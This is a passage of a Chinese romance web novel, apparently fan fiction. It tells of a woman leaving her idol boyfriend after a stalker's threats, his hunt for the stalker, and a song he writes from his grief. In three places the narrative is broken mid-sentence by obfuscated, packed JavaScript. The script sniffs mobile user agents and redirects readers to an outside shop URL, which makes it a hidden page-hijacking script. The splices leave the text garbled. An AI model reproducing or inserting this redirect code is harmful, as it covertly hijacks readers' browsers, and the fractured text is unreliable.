“没什么事,我只是想一个人冷静一下!”初星的情绪被他的追问彻底点燃,声音里带上了明显的哭腔,那份一直被强行压制的怨怼冲破了冷静的伪装,变得更加清晰可辨,“你来了我也不会开门的!我现在真的……没办法心平气和地面对你…看到你……我可能会更难受……” 说完,她不等至龙再有任何回应,直接切断了通话。又将手机调成了静音,重重地扣在沙发垫子上,仿佛那样就能隔绝掉所有与他相关的纷扰。然后,她将脸深深埋进膝盖里,肩膀开始无法控制地、无声地剧烈抽动起来。她忍住了所有可能伤人的、指责的话语,但那份“因为和你在一起才遭遇这些无妄之灾”的委屈,和“在我最需要你、最恐惧无助的时刻你却缺席”的深刻埋怨,却让她无法像什么事情都没发生一样,立刻投入他温暖的怀抱,接受他事后的安抚和歉意。 珍雅看着被扣在沙发上、屏幕因为不断有来电提示而一次次倔强亮起又黯然熄灭的手机,又看看浑身散发着浓重悲伤和压抑怨气的初星,心里充满了心疼和深深的无奈。她理解初星此刻复杂的心情,那种劫后余生混杂着被辜负感的情绪,需要时间去消化。 而被毫不留情挂断电话的至龙,在电话那头已经彻底慌了神,大脑一片空白。初星语气里那份冰冷的、仿佛要将他推入万丈深渊的疏离感,以及那压抑在平静表面下的、浓烈的怨怼,比任何直接的哭闹和指责都更让他心痛、不知所措!他疯了一样,什么也顾不上,抓起车钥匙就冲出了录音室,脑子里只有一个念头:必须立刻见到她!必须知道她怎么了! 他飙车冲到了她家楼下。公寓的门再次被敲响,伴随着至龙嘶哑到破音、充满了恐慌和焦急的喊声:“娜比!娜比!开门!是我!至龙!求你了,开门!让我看看你!” 珍雅被这突如其来的、疯狂的敲门声吓了一跳,看向门口又担忧地看向初星。 初星的身体在听到他声音的那一秒,明显颤抖了一下,她咬紧了下唇,眼神里有瞬间的本能安心,但这点安心火速被更汹涌的委屈、尚未散去的心有余悸和怨愤所覆盖、吞噬。 珍雅快步走到门边,透过猫眼谨慎地确认外面只有至龙一人,对蜷缩着的初星说:“是至龙欧巴,他看起来……状态非常不好,头发乱糟糟的,眼睛通红,好像……好像哭了。” 初星扭过头,避开猫眼的方向,“让他走。我现在不想见他。” 门外,至龙隐约听到了里面低低的说话声,却听不清内容,这让他更加痛苦和绝望,卑微地哀求:“娜比!求你了!开门!让我知道你到底怎么了?是我做错了什么吗?你告诉我!打我骂我都行!别这样不理我!娜比!我害怕!我真的害怕!” 珍雅看着初星写满了拒绝的侧脸,又听到门外至龙那完全不明所以、只是本能地感到即将失去最珍贵之物而发出的恐慌哀求,实在不忍心就这样将他拒之门外。她犹豫了一下,走到初星身边,轻声商量道:“初星,我知道你难受……但至少……让我出去跟他说两句?让他明白发生了什么?他好像真的什么都不知道……你看他那个样子……” 见初星没有任何反应,只是将身上的毯子裹得更紧,仿佛要将自己完全封闭起来,珍雅叹了口气,还是走到门边,打开一条狭窄的缝隙,自己侧身敏捷地闪了出去,并回手带上了门,将情绪崩溃的至龙挡在了门外。 至龙看到只有珍雅出来,而那扇通往初星的门再次在他面前关上,他的心沉到了无底深渊,恐慌和绝望达到了顶点,一把抓住珍雅的肩膀,力气大得让她蹙眉,“珍雅!娜比呢?她到底怎么了?为什么不肯见我?她是不是出什么事了?!你告诉我!求求你告诉我!” 他眼睛通红,里面全是茫然和恐惧,像个迷路的孩子,完全不知道自己做错了什么,为什么会遭到如此冰冷的拒绝。 珍雅被他摇得有些晕,赶紧压低声音解释道:“至龙欧巴!你冷静点!听我说!娜比她……她今晚出事了!遇到了非常可怕的事情!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755373|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她言简意赅地将有人长时间跟踪初星,送来恐怖照片和血书威胁、并且敲门恐吓的事情快速说了一遍。“她当时吓坏了,完全不知道该怎么办,给你打了好多电话你都没接!警察也是刚走没多久!” 至龙听完珍雅的叙述,脸上的血色褪得干干净净,一片惨白。那些未接来电……他当时在封闭的录音室里,沉浸在音乐中……他竟然……竟然在她最恐惧、最需要他的声音给她力量的那一刻,缺席了!他错过了她最脆弱的呼救! “我……我不知道……我竟然……我居然……”他语无伦次,声音颤抖得不成样子,眼泪汹涌而出,“她……她当时该有多害怕……她肯定恨死我了……我居然没接到电话……我……我真该死……” 他痛苦地弯下腰,双手死死抓住自己的头发,肩膀剧烈地颤抖着,发出压抑不住的、痛苦的呜咽声。 看着他崩溃的样子,珍雅也于心不忍地劝道:“至龙欧巴,现在不是说这个的时候。初星她现在情绪非常不稳定,又惊又怕,心里还憋着委屈,她不是不需要你,只是……可能暂时没办法面对你,看到你可能会让她更难受……她需要一点时间,自己冷静一下,消化这些情绪。” 至龙靠着冰冷的墙壁滑坐下来,整个人蜷缩起来,沉浸在自责和痛苦里。过了好一会儿,他才勉强抬起头,“我明白了……都是我的错……是我活该……是我没保护好她……” 他挣扎着,摇摇晃晃地站起来,转向那扇紧闭的房门,提高了声音,“娜比……我错了……对不起……我真的不知道发生了这么可怕的事……是我混蛋……我没用……没能保护你……在你需要我的时候不在……你好好休息……我……我就在楼下守着……我绝不会再离开一步!有任何事,任何需要,随时叫我……求你了……给我一个弥补的机会……” 门内,依旧没有任何回应,死一般的寂静。 至龙失魂落魄地,一步三回头,每一步都沉重得如同灌了铅,慢慢地走向楼梯,他的背影在昏暗的楼道灯光下,显得无比萧索、孤独和绝望,但更多的,是那几乎要将他压垮的、铺天盖地的自责。 珍雅重新回到屋内,轻轻关上门。她看到初星依旧维持着蜷缩的姿势,但紧闭的眼角不断有泪水无声地滑落,浸湿了膝盖处的布料。 楼下的至龙背靠着初星家中窗户正下方的墙壁,缓缓滑坐在地上。冬夜刺骨的寒气透过单薄的衣物侵袭而来,但他仿佛完全感觉不到冷,因为心里的寒意、痛楚和愧疚早已将他冻僵。 他抬起头,仰望着那扇亮着温暖灯光、却将他彻底隔绝在外的窗户,眼睛酸涩肿胀得厉害,却流不出更多的眼泪。他想象着她此刻正在里面承受着怎样的恐惧余波和后怕,而这一切的源头,都是因为他。他开始痛恨起自己的身份,痛恨那些带来关注也带来危险的名气,如果不是因为他,她本可以过着平静、安稳、不被任何人恶意打扰的生活。 “对不起……娜比……对不起……都是我不好……”他一遍又一遍地无声呢喃着,嘴唇冻得发紫,声音破碎在寒冷的夜风里。 这一夜,对两人来说都无比漫长。初星在精疲力尽和情绪的巨大起伏中,直到天空泛起朦胧的鱼肚白,才在疲惫中迷糊地睡去,但睡梦中也并不安稳,眉心紧蹙。而至龙,一夜未合眼,寒冷和心痛折磨着他的身体和意志。当黎明微弱的光线照亮他苍白的脸时,他眼神里的痛苦并未减少,却多了一丝彻夜未眠、冷静思考后的沉静。 他拿出手机,屏幕在寒风中泛着冷光。他没有再拨打初星的电话去打扰她,拨通了另一个号码,声音因为寒冷和一夜未眠而沙哑不堪,但却透着一股令人不寒而栗的冰冷和坚决: “哥,是我。帮我查一件事……动用所有能用的资源,人脉、关系,一切……对,越快越好,不惜一切代价……我要知道,到底是谁干的……” 他的目光死死地盯着那扇窗户,一字一顿地,从齿缝里挤出最后几个字: “……不计代价。” 51.第 51 章 几天后的清晨,阳光勉强穿透厚重的云层,洒下稀薄而清冷的光线。初星拖着行李箱,步履缓慢地走下公寓楼。她的脸色苍白得近乎透明,眼底是浓重的倦意和空洞,脚步虚浮,不似往日轻快。 刚到门口,熟悉的身影便从旁边快步走近,带着清晨的寒气。 至龙看起来清瘦了许多,下颌线清晰锋利,眼里满是交织的血丝,但他的目光却灼热而执着,一瞬不瞬地锁在她身上,带着贪婪的探寻和深不见底的忧虑。视线触及她手中的行李箱时,他立刻冲上前,“娜比……你……你要走?” 声音恐慌又绝望。 初星看到他突然出现,酸涩感涌上鼻腔,下意识地把行李箱往身后藏了藏,别开视线,不敢与他对视,带着明显的、无法消解的委屈和一股尖锐的、自卫般的怨气:“不用你管。去机场。” 至龙的心随着她冰冷的话语坠入深渊,不自觉地颤抖起来,破碎的恳求:“去机场?去哪里?让我送你好不好?就送到机场,看你进去我就走,我发誓绝不纠缠……求你……一个人去……我会疯掉的……” “……美国。陪爸爸妈妈过年。”初星低声回答,固执地看着地面,手指抠着拉杆,指节几乎要嵌进塑料里。 至龙紧绷的神经松弛了一瞬,但更担忧了……她要飞那么远,独自一人。他看着她疏离的样子,心痛得像被人拿刀反复捅破,鲜血淋漓。他坚持着,“我送你。就送到机场,看你安全进去我就走,行吗?娜比……求你了……让我为你做点什么……” 初星死死地咬着下唇,内心挣扎。理智告诉她必须斩断,不能再给他任何虚幻的希望,也不能再让自己陷入万劫不复的依赖。但情感上,独自去机场的路程,那段未知的、可能再次被窥视的旅程,让她恐惧得浑身发冷。对安全的卑微渴望,最终微弱地战胜了理智。她几不可察地点了下头,“……嗯。” 至龙急忙接过行李箱,拉开副驾驶的车门,细心地护着她坐进去。 去机场的路程异常安静。初星一直偏头看着窗外飞逝的景色,眼圈微微泛红,偶尔吸一下鼻子,努力压抑着情绪。至龙专注地开着车,眼角的余光却始终关注着她。 终于,车子缓缓驶入机场停车区。车停稳,车内瞬间陷入一片死寂,只有彼此沉重的呼吸声交错着,清晰得令人心慌。至龙解开安全带,喉结艰难地上下滚动,张了张嘴,想说“让我送你进去”,多争取一会与她共处的时间。 “至龙。”初星却先开了口。她依旧看着窗外即将各奔东西的人流,声音很轻,打破了这令人窒息的沉默。 至龙紧张地看向她柔和的侧脸,声音干涩得如同砂纸摩擦:“嗯?怎么了?” 初星缓慢地转过头来看他。当她的目光与他相遇的那一刻,至龙整个人如坠冰窟。她的眼神,不再是爱恋,不再是依赖,而是一种深深的、带着怜悯的绝望,像一把烧红的烙铁,狠狠地烫在他的胸口。 “我们……”她的声音哽咽得厉害,努力想保持平静,但颤抖的尾音和迅速流出的泪水出卖了她的心,“……结束吧。” 至龙的脑海里轰然爆炸,摧毁了他所有的理智和希望。他的呼吸停滞,死死盯着她,仿佛想从她脸上找出哪怕一丝一毫的犹豫或不舍。嘴唇张合了几下,却发不出任何声音,只有胸腔里传来撕裂般的、无声的呐喊和窒息般的闷痛。 “我只是……想好好谈个恋爱而已,”初星的声音破碎,带着浓浓的委屈和后怕,“为什么……会变成这样?那些照片……那些敲门声……我真的好害怕……” 她抬起泪眼望着他,眼神里是赤裸裸的恐惧:“这次是这样,那下次呢?下次会不会……会不会有更可怕的事情?至龙,我每天晚上都睡不着,一闭上眼就是那些……我看到你……我就忍不住想起那些害怕……” “不会的!绝对不会再有下次!”至龙急切地打断她,伸出手,想要握住她的手,却被轻轻躲掉,他的手僵在半空,心脏痛得无以复加,“娜比,对不起……是我没保护好你……你再信我一次,我会用一切办法保护好你,绝不会再让你经历这些……” 初星摇头,“你怎么保护呢?时时刻刻把我关起来吗?还是让你那些保镖永远跟着我?” 她吸了吸鼻子,眼泪流得更凶,“我不想这样……我不想以后每一天都活在担心和害怕里……至龙,我累了……我真的好累……放过我吧……也放过你自己……” “放过你?”至龙像是被这句话刺穿了灵魂,声音陡然拔高,带着濒临疯狂的痛苦和难以置信,“那你告诉我……谁又来放过我?!没有你……我怎么办?!娜比!” 他再也控制不住,泪水汹涌而下,声音破碎不堪。 初星看着他,心像被彻底碾碎,但内心的恐惧已经像毒藤般扎根,蔓延至每一个角落,压倒了一切。“就这样吧。”她用力推开车门,冰冷的空气像刀子般灌入。“保重。” 说完,她下车,拖着行李,没有再回头,缓慢却坚定地走向机场入口。 至龙僵在驾驶座上,仿佛被抽走了所有的灵魂和热量。他眼睁睁看着她的背影一点点变小,模糊,最终彻底消失在拐角,像一滴水蒸发在沙漠里。车窗外的世界失去了所有颜色和声音,绝望如同黑色的海啸,将他吞噬,碾碎。他甚至感觉不到自己的心跳。 时间凝固了。不知过了多久,后方刺耳的喇叭声将他从麻木的剧痛中惊醒。他机械地启动车子,像个游魂般驶离。手脚冰凉麻木,所有的动作都凭本能。车窗外的世界飞速倒退,却无法在他空洞的眼中留下任何痕迹。 他没有回任何地方,而是将车开到汉江边最荒凉的堤岸。停下车,冰冷的江风像野兽般咆哮着灌入车内。却吹不散他心头的窒闷和寒意。他颓然地靠在方向盘上,肩膀无法抑制地剧烈颤抖起来。痛苦的呜咽声冲破了壁垒,在空旷的车厢内低低回荡。 “对不起……娜比……对不起……”他一遍遍地重复着,声音破碎不堪,充满了无尽的自责和悔恨。他恨自己为什么那天要在录音室,为什么没接到电话,恨自己给她带来了这样的无妄之灾,更恨自己最终没能留住她,没能给她足够的安全感。 哭了不知道多久,直到眼泪几乎流干,喉咙沙哑得发不出声音,他才慢慢抬起头。通红的眼睛里,痛苦肆虐,但冰冷的决心也逐渐浮现。 他拿出手机,键盘被泪水模糊了好几次,他忽略掉所有未接来电和消息,直接拨通了一个号码。 电话很快被接起,那边传来一个沉稳的男声:“至龙?” 至龙的声音沙哑得可怕,却异常冰冷和狠厉:“哥,是我。之前让你查的事,加急。动用所有能用的资源,人情、钱,都不是问题。” 他顿了顿,眼神锐利得像要穿透车窗外的夜色,一字一句地说道:“我要最快的速度知道是谁。到底是谁干的。” 电话那头沉默了一下,随即应道:“明白。已经在全力追查,一有消息立刻通知你。” “嗯。”至龙挂了电话,将手机狠狠攥在手里,指节因用力而泛白。 他不能倒下。至少现在不能。 初星的恐惧和眼泪,她那句“我累了”,像鞭子一样抽打着他。她的离开是因为害怕,而恐惧的源头是那个隐藏在暗处的威胁。只有清除掉那个威胁,只有证明他有能力护她周全,或许……或许有一丝微弱的可能…… 他不敢深想那可能性有多渺茫,只是将所有的痛苦和绝望都转化为找到那个人的疯狂动力。 接下来的几天,至龙像是变了一个人。他依旧完成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765565|188757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着必要的工作,但周身的气场冰冷而疏离,眼神里时常带着一种深沉的厉色。他推掉了所有的私人聚会,不再活跃于社交网络,大部分时间都待在工作室,电话打得异常频繁。 成员和经纪人都察觉到了他的变化,以及他和初星之间明显出了问题,但看他那副生人勿近、将所有情绪都压抑在冰面之下的状态,谁也不敢多问。 他偶尔会开车到初星的公寓楼下,远远地看着那扇漆黑的窗户,一待就是很久。也会无数次地拿出手机,点开那个熟悉的对话框,输入长长的话,却又在最后全部删除。他怕打扰她,更怕得到的是更决绝的回应。 他只是在等。等待一个消息。一个能让他有机会,重新走到她面前的消息。 …… 初星飞抵美国,与父亲团聚,在新年钟声敲响时,守在母亲的病床边,轻轻握住母亲的手。或许是新年的奇迹,或许是持续的呼唤终于有了回应,母亲的眼睫在那天微微颤动,甚至短暂地睁开了眼睛。初星激动地落泪,小心翼翼地和醒来片刻的母亲拍下了一张珍贵的合照——照片里的她眼睛红肿,却笑得无比幸福和充满希望。 她在cy上分享了这张照片,没有过多的文字,只有一颗心。这张照片引爆了关注,朋友纷纷送上祝福。 接着,她又分享了几张和父亲的日常。父亲戴着搞怪的新年帽,做着鬼脸,试图逗她开心,而她在一旁笑得前仰后合,父女间的温馨互动冲淡了些许她眉宇间的忧郁。 之后她又飞回了中国外婆家。外婆做了满满一桌子她小时候最爱吃的菜,她拍下那些色香味俱全的家常菜肴,配文:“外婆的味道,是最好的年味。” 照片里,外婆布满皱纹的手正在给她夹菜,温馨又感人。 她还分享了自己和年纪相差不大的小表妹一起体验云南傣族传统服装的照片。两人穿着鲜艳的筒裙,戴着银饰,在阳光下笑得青春洋溢。另一张则是她穿着一件素雅旗袍,勾勒出纤细身姿,站在古色古香的庭院里,气质温婉又带着一丝不易察觉的落寞。 最多的是和家人的各种温馨合照。和外婆一起包饺子,和舅舅一家吃团圆饭,和小表妹窝在沙发上看春晚……每一张照片里的她,都在笑着,努力融入热闹的节日氛围,看起来似乎正在从之前的阴影中慢慢走出来,享受着家人的温暖和陪伴。 远在韩国的至龙,几乎是病态般地、一遍又一遍地刷新着她的社交平台。他看着她分享的每一张照片,每一个动态。 看到她和苏醒过来的母亲合照时,他眼眶发热,真心为她感到高兴,却又因为无法陪在她身边分享这份喜悦而心痛如绞。看到她和父亲的搞怪照片,他仿佛能听到她清脆的笑声,心里酸涩又安慰。看到那一桌桌外婆做的菜,他会想起她曾经嘟囔想吃的家乡味道。看到她和表妹穿着傣族服装、穿着旗袍的照片,他会被她的美丽惊艳,随即又是铺天盖地的思念。 尤其是那些全家福里,她虽然都在笑,但至龙却总能敏锐地捕捉到她偶尔走神时眼底那一闪而过的落寞和勉强。他知道,她的笑容背后,依然藏着恐惧和未愈合的伤口。 这些动态,像是一把钝刀,反复地缓慢地切割着至龙的心。她似乎正在努力地生活,努力地走出有他的世界,让自己的生活看起来丰富多彩。这让他感到一丝丝的安慰,希望她真的能好起来,却想着她的生活里,充满了家人的温暖和新奇的体验,好像……真的不再需要他了。 但他依旧固执地守着,像守着最后一点微弱的星火。他给她最近的每一张照片都点了赞,却不敢留下任何评论。他在等,更加迫切地等待那个能让他有资格、有勇气再次走向她的消息。她的每一次更新,都让他心中的决心更加坚定——必须尽快解决掉所有隐患,他不能真的失去她。 52.第 52 章 外婆家的小院被金色的光线填满,墙角几盆耐寒的绿植舒展着叶片。初星和小表妹窝在客厅沙发里,各自占据一角。表妹埋头摆弄着她那部粉色的翻盖手机,拇指灵活地在小小的键盘上按得啪啪作响,时而蹙眉时而抿嘴偷笑,沉浸在热火朝天的短信聊天中。初星则侧身靠着沙发扶手,目光有些失焦地望着窗外那几棵在微风中轻轻摇曳的、只剩下光秃枝桠的梧桐树,思绪不知飘向了何方。 “姐,”表妹抬起头,放下手机,眼睛闪烁着对新鲜事物充满好奇和兴奋的光芒,“你看我新换的手机铃声,是东方神起的《Rising Sun》哦!可火了!我好不容易才下载到的!” 她献宝似的按了几个键,一段轻快活泼的旋律立刻从手机扬声器里流淌出来,“哎,姐,你在韩国上学,那边偶像团体不是超级多?跟星星一样数不清吧?你有没有喜欢的啊?见过真人吗?是不是都超级帅?” 她一连串的问题像蹦豆子一样砸过来,充满了对那个遥远国度的想象和憧憬。 初星被她的声音拉回现实,愣了一下神,韩流的风潮确实正以迅猛的势头席卷周边,但对于身处其中、又经历了太多纷扰的初星来说,那更像是一种模糊的背景噪音,遥远而不真切。她轻轻摇了摇头,想要尽快结束这个话题。“没有,不太关注那些。” 表妹闪过失望,跳跃的思维让她很快又找到了新的兴奋点,重新变得兴致勃勃起来。她按着键盘打字啧啧称奇:“啊……好可惜。不过我觉得那个叫Bigbang的男团还挺有意思的!台风超好的,虽然造型有点……嗯……怪怪的?但那首《La La La》超洗脑的!就是刚出道半年感觉五个人有点青涩,哈哈。” “Bigbang”这个名字毫无预警地闯入耳中,初星的心跳莫名地漏了一拍,努力让自己的表情看起来自然,还刻意带上了作为姐姐对妹妹这种“盲目”追星行为的不以为然和淡淡调侃:“Bigbang?没太注意。好像……是有这么个组合。” 幸好,表妹更像是随口一提。她的兴趣很快又回到了她最爱的东方神起上,叽叽喳喳地说着金在中的眼睛有多迷人、郑允浩的舞蹈有多帅气之类的话,重新沉浸在自己的偶像世界里。初星暗暗松了口气,她无法解释自己此刻翻江倒海的心情,更无法坦然地说出那个事实——“你觉得台风还行、造型有点怪的新男团里的队长权至龙,就是我那个曾经黏人得要命、如今却让我担惊受怕、最终选择分道扬镳的前男友”。 被她随意放在沙发扶手上的手机屏幕突然亮了起来,发出嗡嗡的震动声。 初星迟疑地伸手拿起手机,看清是至龙的号码时,呼吸一致,犹豫的点开了短信。 【人找到了。想怎么处理?】 她的大脑有片刻的空白。找到了?那个像幽灵一样纠缠她、给她送来恐怖照片和血书、让她夜不能寐、最终成为压垮她神经、迫使她选择逃离的恐惧源头……那个隐藏在暗处的威胁,竟然真的……被找到了?这么快? 处理?她该怎么处理?她只是一个过着平凡生活的普通学生,她最大的愿望不过是回归平静,远离这些令人胆战心惊的是非。她从未想过要如何“处理”一个人,这种带着权力和裁决意味的字眼让她感到不适和茫然。纤长的睫毛在眼下投下淡淡的阴影,将所有翻腾不息的情绪压回了心底最深处,重新冰封起来。 【你看着办吧。】 按下发送键。然后,她重新转过头,继续望着窗外那几棵静止的光秃树枝。 另一边的至龙紧紧握着手机,屏幕幽蓝的光映亮了他紧绷的脸。他等来了她的回复,然而屏幕上只有冷冰冰的五个字。 【你看着办吧。】 没有疑问,没有好奇,没有愤怒,没有恐惧,也没有一丝一毫的在意或牵连。她连过问的意愿都丧失了。 至龙眼底那点如同风中残烛般微弱的期盼之光,“噗”地一声,彻底熄灭了。她不仅人离开了,连心也决绝地将自己排除在她的世界之外了。那些因他而起的情绪,她都一并收回,不再与他分享分毫,彻底划清了界限。 他死死地盯着屏幕上那行字,看了很久很久,久到眼睛酸涩发痛,屏幕自动暗了下去又被他按亮。 夜晚的小城早已陷入沉睡,万籁俱寂。清冷的月光透过窗棂,在房间地板上洒下一片清辉。初星在纷乱如麻的心绪中挣扎了许久,好不容易才被疲惫拖入迷迷糊糊的浅眠。 一阵固执而急促的手机铃声,突然划破了宁静! 初星被惊醒,带着深夜被强行吵醒的懵然混沌和一丝惊惧。伸出手在黑暗中摸索,抓到那个发亮震动的源头,眼睛还没完全适应光线,也没来得及看清来电显示,就凭着本能按下了接听键,“呦不塞呦……?” 电话那头传来玻璃杯碰撞的脆响、隐约的音乐声、还有沉重而混乱的喘息声。过了好几秒,一个含糊不清、吐字黏连、却熟悉的声音又传了过来: “……娜……比……?是……是你吗?娜比……” 至龙的声音里浸满了痛苦的思念、醉后的失控和濒临崩溃的脆弱。 初星完全清醒了,握着手机的手指猛地收紧,冰凉的机身硌着掌心。 “……”她不知道说什么,只有急促的呼吸声透过话筒传了过去。 “娜比……我好……好想你……”他带着无法抑制的哭腔,“想见你……现在就想见你……好不好……?就……就见一面……一面就好……” 初星紧紧地闭了闭眼睛,再睁开时,眼底已是一片强行凝聚起来的冰冷和决绝。她狠下心肠,切断这不该再有的情感联系:“不可以。至龙,你喝醉了。我们……已经结束了。” “结束……?”电话那头的至龙像是听到了什么无法理解的词语,迷茫地重复了一遍,随即情绪变得激动起来,“没有……没有结束!娜比……我们……我们不是说好的吗……要在一起……好多年……好多好多年的……要一起过很多很多个生日……你答应过我的……你忘了嘛……” 他的话语里充满了对过往誓言的执着和单方面被撕毁约定的不甘,仿佛一个不肯面对现实的孩子。 初星的鼻子一酸,眼前模糊,那些曾经在耳畔低语、被她珍藏在心底的甜蜜誓言,此刻在冰冷的现实和醉意朦胧的控诉下,听起来如此刺耳、遥远得像上辈子的事情。 至龙陷入了更深的醉意和痛苦漩涡之中,“对不起……娜比……对不起……是我不好……都是我的错……我没用……我没保护好你……” 但紧接着,他又像是用尽了胸腔里最后一丝氧气,嘶吼着喊出那句最深沉的执念,每一个字都像是从血肉模糊的心底硬生生抠出来,带着滚烫的温度和绝望的力量: “……但是我爱你啊娜比……我真的……真的好爱你啊……娜比……没有你……我怎么办啊……没有你……我怎么活下去啊……娜比……不要……不要丢下我……” 她听着至龙赤裸裸的、毫无保留倾泻而出的爱意,痛的几乎蜷缩起来,无法呼吸。指甲深深地掐进自己的掌心软肉里,留下几个月牙形的红痕,但她始终紧紧地抿着嘴唇,没有再开口说一个字。任由他那破碎的、带着酒气的爱语和哭诉,像凌迟的刀片,一下下切割着她的神经。 沉默地听了片刻他语无伦次的哭诉和绝望的告白,她将手机从耳边移开,指尖悬在红色的挂断键上,停顿了一秒,又毅然决然地按了下去。 嘟——嘟——嘟—— 忙音响起,像最终的判决,冰冷而决绝。至龙握着手机的手臂失去了所有支撑的力量,无力地垂落下来。手机滑脱,“啪”地一声脆响,掉在冰冷的地板上,屏幕碎裂成蛛网,映照出他扭曲而绝望的脸。 高大的身躯蜷缩起来,头深深地埋进并拢的膝盖里。现在的他,没有发出任何声音。仿佛所有的哭喊和呜咽都被堵在了喉咙深处,化作成无声的抽气声和肩膀剧烈的耸动。 永裴坐在不远处,手里拿着一瓶早已没了气泡的水,眉头紧紧锁成一个川字,他目睹了至龙晚上回来时那死寂般的沉默,看着他一声不吭地打开冰箱,拿出酒瓶开始机械地往嘴里灌酒;看着他后来抱着那个屏幕已经暗下去的手机,一遍遍刷新着初星在Cy上与他再无关系的日常动态,眼神空洞得像一潭死水;再到最后,他被酒精和痛苦冲垮了理智的堤坝,失控地拨通了那个号码,语无伦次地哭诉、道歉、卑微地哀求……直至此刻,在冰冷的挂断声中,坠入无声的崩溃深渊。整个过程,永裴都看在眼里,却无法真正将他从那个泥沼中拉出来。 死一般的寂静持续了不知多久。 永裴轻轻叹了口气,默默地走到厨房,重新倒了一杯温水。将水杯放在至龙手边触手可及的地上。 大声也默默地走了过来,捡起地上那部屏幕碎裂、如同主人心境一样的手机。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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深夜的工作室更是成了他固定的去处。繁忙的行程结束后,他直接扎进那间隔绝外界的工作室。永裴有时不放心,会过去看看。隔着门,总能听到里面传来反复循环捶打的鼓点片段,或是压抑着巨大情感、仿佛在泣血倾诉的旋律线,偶尔还夹杂着至龙用沙哑得厉害的嗓音、尝试着录下的、充满破碎感的零星歌词。推门进去,往往看到里面各种写满了潦草字迹、涂改了无数遍的歌词和音符的纸张散落一地,烟灰缸里堆满了烟蒂,空掉的咖啡罐滚在角落。至龙就戴着耳机,眼窝深陷,眼圈乌黑,明显缺乏睡眠,但目光却异常灼热、锐利,死死地盯着控制台上跳动的音轨,仿佛不知疲倦,在用音乐进行一场无声的、激烈的自我搏斗。 永裴尝试过几次,哪怕只是简单地问他“吃饭了吗?”或者“要不要休息一下?”。但刚提起话头,至龙就打断他:“永裴,我没事。就是有点想法,得赶紧记下来,不然就忘了。” 或者,他干脆会把刚录好的、一段充满了痛苦张力的音乐小样放给永裴听,抬起布满血丝的眼睛:“永裴,你觉得这段怎么样?这里,是不是还缺点什么?” 音乐似乎成了他唯一的情感出口,也是他此刻仅剩的、能紧紧抓住的、证明自己还存在价值的救命稻草。他仿佛要通过这些音符和歌词,将内心翻江倒海的痛苦淬炼成某种东西,某种能证明他经历过、痛苦过、依然在挣扎的东西。 私下里,他打电话处理那个恐吓事件后续的语气,也变得更加冷硬、简洁和公事公办。每次简短而冰冷的通话结束后,他周身的低气压会变得更加凝重,眼神会闪过一丝戾气,但他会立刻戴上耳机,将音量开到足以震耳欲聋的程度,用更激烈、更复杂的音乐节奏将自己彻底淹没,或者抓起笔,更加疯狂地在纸上书写,将那些负面、黑暗的情绪全部转化为具象的音符和文字,从体内驱逐出去。 他不再开车去初星公寓的楼下守着,也不再像之前那样频繁地、近乎自虐般地刷新她的社交平台。他的生活,变成了宿舍、练习室、工作室三点一线,单调得令人窒息。 偶尔,在深夜里,至龙会从工作室回到久违的宿舍。洗完澡,他站在窗前发呆,望着远处阑珊的灯火,背影显得格外孤寂。但更多的时候,他会直接坐在书桌前,就着台灯昏黄的光线,继续修改那些似乎永远也修改不完的谱子或歌词,直到天色泛起微弱的鱼肚白。大声有次起夜,经过虚掩的书房门,看到他趴在堆满纸张的书桌上睡着了,手下还压着写满了密密麻麻字迹的纸,一支笔滚落在一边。而那个他用了很久的旧钱包,被放在桌角最显眼的位置打开着,里面露出的,是初星在济州岛阳光下笑得灿烂的照片,那笑容如今看来,刺眼得让人心酸。那仿佛是他在这场疯狂而痛苦的创作跋涉中,唯一的慰藉、灵感来源,同时也是最深刻的痛苦源泉。 大声叹了口气蹑手蹑脚地走进去,拿起毯子,轻轻地披在了至龙背上。看着队长即使在睡梦中也不安稳地蹙起的眉头,无奈的摇摇头离开了书房。 53.第 53 章 灼人的热浪扭曲着远处的街景,窗外知了声嘶力竭的鸣叫仿佛也带着焦躁,一声高过一声,穿透紧闭的玻璃窗,钻进开着冷气的室内。 初星和珍雅蜷缩在公寓冰凉的地板上,周围散落着吃了一半的西瓜。两人有一搭没一搭地闲聊着,突然,电视里传来一段旋律——起初是拨打电话的按键声和几声孤独而带着忧伤质感的钢琴音符,轻轻敲击在寂静的间隙里,紧接着,富有节奏感却并不喧嚣的鼓点沉稳地加入,然后,熟悉的嗓音缓缓响起,瞬间抓住了人的耳朵。 珍雅原本瘫软的身体立刻坐直了些,歪着头,有些不确定地指着电视屏幕:“诶?这个新歌……舞台风格好像和以前不太一样了,不过……好像……是至龙欧巴写的歌?” 屏幕上,权至龙的身影出现在镜头里。最引人注目的是他的眼神——那里面不再是以往的活泼张扬,而是沉淀了一种深沉的、近乎痛苦的投入,仿佛将灵魂都榨取出来,灌注到每一个音符里。每一个字都像是从心底最柔软、也是最疼痛的地方挤压出来的: 「深夜下起雨我又想起你」 「我说想见你你却说不可以你说都结束」 「I’m so sorry but I love you」 